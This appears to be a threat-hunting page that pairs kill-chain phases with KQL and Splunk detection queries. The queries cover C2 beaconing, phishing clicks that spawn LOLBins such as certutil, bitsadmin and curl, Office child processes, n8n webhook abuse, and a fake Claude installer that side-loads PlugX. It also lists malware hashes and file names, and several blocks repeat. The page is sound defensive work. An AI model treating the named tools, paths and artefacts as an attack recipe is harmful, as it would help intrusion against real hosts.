Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — The Q1 vulnerability pulse
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → File hash IOCs — endpoint file/process match · [LLM] Fake Claude installer: NOVUpdate.exe DLL side-load from spoofed Anthropic\Cluade path
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507", "96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974", "90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59", "a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91", "38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55", "3c1dbc3f56e91cc79f0014850e773a7f12bbfef06680f08f883b2bf12873eccc", "2915b3f8b703eb744fc54c81f4a9c67f", "aac3165ece2959f39ff98334618d10d9", "c2efb2dcacba6d3ccc175b6ce1b7ed0a", "7bdbd180c081fa63ca94f9c22c457376", "41444d7018601b599beac0c60ed1bf83", "d749e0f8f2cd4e14178a787571534121")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507", "96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974", "90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59", "a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91", "38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55", "3c1dbc3f56e91cc79f0014850e773a7f12bbfef06680f08f883b2bf12873eccc", "2915b3f8b703eb744fc54c81f4a9c67f", "aac3165ece2959f39ff98334618d10d9", "c2efb2dcacba6d3ccc175b6ce1b7ed0a", "7bdbd180c081fa63ca94f9c22c457376", "41444d7018601b599beac0c60ed1bf83", "d749e0f8f2cd4e14178a787571534121")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — The Q1 vulnerability pulseExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — The Q1 vulnerability pulse
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("vid001.exe", "d4aa3e7010220ad1b458fac17039c274_63_exe.exe", "apq9305.dll", "d4aa3e7010220ad1b458fac17039c274_62_exe.exe", "content.js", "280575.crdownload.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("vid001.exe", "d4aa3e7010220ad1b458fac17039c274_63_exe.exe", "apq9305.dll", "d4aa3e7010220ad1b458fac17039c274_62_exe.exe", "content.js", "280575.crdownload.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — The Q1 vulnerability pulse ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("vid001.exe","d4aa3e7010220ad1b458fac17039c274_63_exe.exe","apq9305.dll","d4aa3e7010220ad1b458fac17039c274_62_exe.exe","content.js","280575.crdownload.exe"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("vid001.exe","d4aa3e7010220ad1b458fac17039c274_63_exe.exe","apq9305.dll","d4aa3e7010220ad1b458fac17039c274_62_exe.exe","content.js","280575.crdownload.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
Hunts the Talos-described abuse of the n8n AI workflow automation platform, where attackers embed n8n-hosted webhook URLs in phishing emails that proxy to a CAPTCHA gate and then deliver an EXE/MSI (often a trojanised Datto or ITarian RMM). Correlates email/proxy hits on n8n.cloud or hooks.n8n.io webhook paths with a same-host executable file download within minutes.
Rationale: Cross-checked against Talos 'The n8n n8mare' write-up and The Hacker News coverage (April 2026): campaign uses n8n.cloud/webhook* and hooks.n8n.io URLs as the lure landing, fingerprints via User-Agent, and serves modified Datto/ITarian RMMs as final stage. Pivoting on the webhook URL plus a same-host executable drop within 10 minutes is article-specific and not covered by generic phishing-link rules.
Cross-checked against:
• https://blog.talosintelligence.com/the-n8n-n8mare/
• https://thehackernews.com/2026/04/n8n-webhooks-abused-since-october-2025.html
• https://securityaffairs.com/190887/hacking/ai-platform-n8n-abused-for-stealthy-phishing-and-malware-delivery.html
ATT&CKT1566.002T1102T1219
Data sourcesWeb.WebEmail.All_Email
let n8nHits = DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemoteUrl has_any ("n8n.cloud/webhook", "hooks.n8n.io", ".n8n.io/webhook", "n8n.cloud/webhook-test")
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","outlook.exe")
| project n8nTime=Timestamp, DeviceId, DeviceName, AccountName=InitiatingProcessAccountName, RemoteUrl, BrowserPid=InitiatingProcessId;
let drops = DeviceFileEvents
| where Timestamp > ago(14d)
| where ActionType == "FileCreated"
| where FileName endswith ".exe" or FileName endswith ".msi" or FileName endswith ".zip" or FileName endswith ".iso"
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","outlook.exe")
| project dropTime=Timestamp, DeviceId, FileName, FolderPath, SHA256, InitiatingProcessId;
n8nHits
| join kind=inner drops on DeviceId
| where dropTime between (n8nTime .. n8nTime + 10m)
| union (
EmailUrlInfo
| where Url has_any ("n8n.cloud/webhook", "hooks.n8n.io", ".n8n.io/webhook")
| join kind=inner (EmailEvents | where DeliveryAction == "Delivered") on NetworkMessageId
| project Timestamp, RecipientEmailAddress, SenderFromAddress, Subject, Url
)
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.http_user_agent) as ua from datamodel=Web where (Web.url="*n8n.cloud/webhook*" OR Web.url="*n8n.cloud/webhook-test*" OR Web.url="*hooks.n8n.io*" OR Web.url="*.n8n.io/webhook*") AND Web.dest_zone="external" by Web.src Web.user _time span=5m | `drop_dm_object_name(Web)` | join type=inner src [ | tstats summariesonly=true count from datamodel=Web where (Web.url="*.exe" OR Web.url="*.msi" OR Web.url="*.zip" OR Web.url="*.iso") AND Web.dest_zone="external" by Web.src Web.url _time span=5m | `drop_dm_object_name(Web)` | rename url as download_url count as dl_count ] | table _time src user urls download_url ua count dl_count
[LLM] Fake Claude installer: NOVUpdate.exe DLL side-load from spoofed Anthropic\Cluade pathInstallationHigh
Detects the 'Fake Claude website' PlugX delivery chain referenced in this Threat Source edition. The trojanised installer drops the legitimate G DATA-signed NOVUpdate.exe into a spoofed path (note the 'Cluade' typo: C:\Program Files (x86)\Anthropic\Claude\Cluade\) or the user Startup folder, alongside a sideloaded DLL and a VBScript dropper, to load PlugX. Hunts execution of NOVUpdate.exe outside its real G DATA directories and creation of NOVUpdate.exe / .vbs in startup locations.
Rationale: Corroborated by SecurityWeek, Malwarebytes and SecurityAffairs reporting (April 2026): the campaign drops the signed G DATA NOVUpdate.exe to a spoofed C:\Program Files (x86)\Anthropic\Claude\Cluade\ folder (literal 'Cluade' typo) plus three Startup-folder artefacts including a VBScript that side-loads a PlugX DLL via NOVUpdate.exe. The 'Cluade' folder name and NOVUpdate.exe outside the real G DATA install path are extremely high-fidelity strings.
Cross-checked against:
• https://www.securityweek.com/fake-claude-website-distributes-plugx-rat/
• https://www.malwarebytes.com/blog/scams/2026/04/fake-claude-site-installs-malware-that-gives-attackers-access-to-your-computer
• https://securityaffairs.com/190754/malware/fake-claude-ai-installer-abuses-dll-sideloading-to-deploy-plugx.html
ATT&CKT1574.002T1059.005T1547.001T1036.005
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
union
( DeviceProcessEvents
| where FileName =~ "NOVUpdate.exe"
| where not(FolderPath has_any (@"\Program Files\G DATA\", @"\Program Files (x86)\G DATA\"))
| extend Signal = "NOVUpdate.exe outside G DATA path"
| project Timestamp, DeviceName, AccountName, Signal, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
),
( DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has_any (@"\Anthropic\Claude\Cluade\", @"\Start Menu\Programs\Startup\")
| where FileName in~ ("NOVUpdate.exe") or FileName endswith ".vbs" or (FileName endswith ".dll" and FolderPath has @"\Anthropic\Claude\Cluade\")
| extend Signal = "Fake Claude PlugX dropper artefact"
| project Timestamp, DeviceName, Signal, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
),
( DeviceProcessEvents
| where InitiatingProcessFileName =~ "wscript.exe" or InitiatingProcessFileName =~ "cscript.exe"
| where InitiatingProcessCommandLine has_any (@"Anthropic\Claude", "Cluade", "Claude-Pro-windows-x64")
| extend Signal = "VBScript dropper from spoofed Claude path"
| project Timestamp, DeviceName, Signal, FileName, ProcessCommandLine, InitiatingProcessCommandLine, SHA256
)
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_path) as path from datamodel=Endpoint.Processes where Processes.process_name="NOVUpdate.exe" AND NOT (Processes.process_path="*\\Program Files\\G DATA\\*" OR Processes.process_path="*\\Program Files (x86)\\G DATA\\*") by Processes.dest Processes.user Processes.process_name | `drop_dm_object_name(Processes)` | append [ | tstats summariesonly=true count from datamodel=Endpoint.Filesystem where (Filesystem.file_path="*\\Anthropic\\Claude\\Cluade\\*" OR Filesystem.file_path="*\\Start Menu\\Programs\\Startup\\NOVUpdate.exe" OR (Filesystem.file_path="*\\Startup\\*" AND Filesystem.file_name IN ("NOVUpdate.exe","*.vbs"))) by Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.file_name | `drop_dm_object_name(Filesystem)` ] | stats values(*) as * by dest user
2026-04-164 use cases3 techniques4 kill-chain phases detected
Learn how to build a comprehensive cryptographic inventory and strengthen quantum‑safe readiness using Microsoft Security tools, best‑practice lifecycle models, and partner solutions. The post Building your cryptographic inventory: A customer strategy for cryptographic posture management appeared first on Microsoft Security Blog .
ATT&CKT1190T1195.002T1566
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2019-15126")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
